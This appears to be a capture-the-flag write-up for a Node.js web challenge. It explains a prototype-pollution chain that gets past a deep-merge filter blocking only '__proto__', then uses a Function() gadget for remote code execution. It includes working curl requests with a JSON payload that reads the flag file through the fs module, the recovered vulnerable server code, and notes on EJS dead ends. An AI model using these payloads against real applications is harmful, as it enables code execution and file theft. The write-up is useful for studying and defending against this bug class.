Instance: https://ouroboros-<hash>.chall.hiddeninvestigations.net (rCTF, 20-min lifetime).
Flag file on the box: /flag/flag.txt (also /flag.txt symlink). Node v20.20.2, cwd /app.
TL;DR - the chain
- Prototype pollution via the deep-merge: it drops keys literally named
__proto__but not a nestedconstructor→settings.a.constructor.prototypewrites toObject.prototype. - The preview handler builds a fresh empty object
const view = {}and readsview.formulaoff the prototype chain - so our PP'dObject.prototype.formulais seen. - It then runs
String(Function('data', view.formula)(locals))- a customnew Functiongadget. That's arbitrary JS execution in global scope, withprocessavailable. computedis echoed back into the rendered HTML → we exfiltrate the flag from the response.
The two requests
1# 1) log in (any username, no password)
2curl -c jar -X POST -d 'username=x' $H/api/login
3
4# 2) prototype-pollute Object.prototype.formula (bypasses the __proto__ filter)
5curl -b jar -X POST -H 'content-type: application/json' \
6 --data-raw '{"settings":{"a":{"constructor":{"prototype":{"formula":
7 "return process.mainModule.require(\"fs\").readFileSync(\"/flag/flag.txt\",\"utf8\")"}}}}}' \
8 $H/api/report/config
9
10# 3) render the preview -> the evaluated result lands in <div class="computed">
11curl -b jar -X POST -H 'content-type: application/json' \
12 --data-raw '{"data":{"title":"T","body":"B"}}' $H/api/report/preview
Response:
<section class="report"><h1>T</h1><small>…</small><div class="body">B</div>
<div class="computed">hiCTF{pr0to_pollution_to_cust0m_new_Function_gadget_rce_d4d9ba5c06}</div></section>
Why the obvious things were dead ends (kept for the record)
- EJS is ≥3.1.10:
Template's opts are a null-proto copy (hasOwnOnlyObject) andshallowCopyFromListhas ahasOwnguard, so PP can't reachescapeFunction/outputFunctionName. The app usesejs.render(str, locals)(2-arg), neverres.render/renderFile- so the classicsettings['view options']chain is unreachable too. Only EJS delimiters are PP-reachable. - Delimiter trick (PP
openDelimiter/delimiter/closeDelimiter) only turns literal template text into bare-identifier expressions; the template has no(), so no calls → harmless. computedwas never controlled byconfig.*ordata.*- only by prototype pollution, because the app reads it from a fresh{}(view), not fromreportConfigordata.data.filenamereachingpath.basename(thepath argument must be a stringerror) is EJS'sfilenameoption, not an app file-read sink.- PP
encodingcrashing every POST israw-body('encoding' in optionswalks the prototype).
The actual sink (recovered /app/server.js)
1function deepMerge(target, source) {
2 for (const key of Object.keys(source)) {
3 if (key === '__proto__') continue; // <-- the "already filtered" thing
4 const sv = source[key];
5 if (sv !== null && typeof sv === 'object' && !Array.isArray(sv)) {
6 if (target[key] === null || typeof target[key] === 'undefined') target[key] = {};
7 deepMerge(target[key], sv); // <-- constructor.prototype -> Object.prototype
8 } else { target[key] = sv; }
9 }
10}
11
12app.post('/api/report/preview', requireSession, (req, res) => {
13 const data = (req.body && req.body.data) || {};
14 const locals = Object.assign({ title:'Untitled Report', body:'', footer: reportConfig.footer }, data);
15 const view = {}; // <-- fresh object, inherits Object.prototype
16 let computed = '';
17 if (view.formula) { // <-- PP'd Object.prototype.formula seen here
18 try { computed = String(Function('data', view.formula)(locals)); } // <-- the gadget
19 catch (e) { computed = 'formula error'; }
20 }
21 res.type('html').send(ejs.render(REPORT_TEMPLATE, Object.assign(locals, { computed })));
22});
Note the view = {} looks like leftover scaffolding (intended to hold view options) that was never
wired up - it reads view.formula, and because view is a plain object, global prototype pollution
is enough to plant the formula. Same for the deep-merge: Object.keys() + a __proto__-only check
means constructor.prototype is the bypass. The challenge's "no eval" is literally false - the
gadget is Function(...).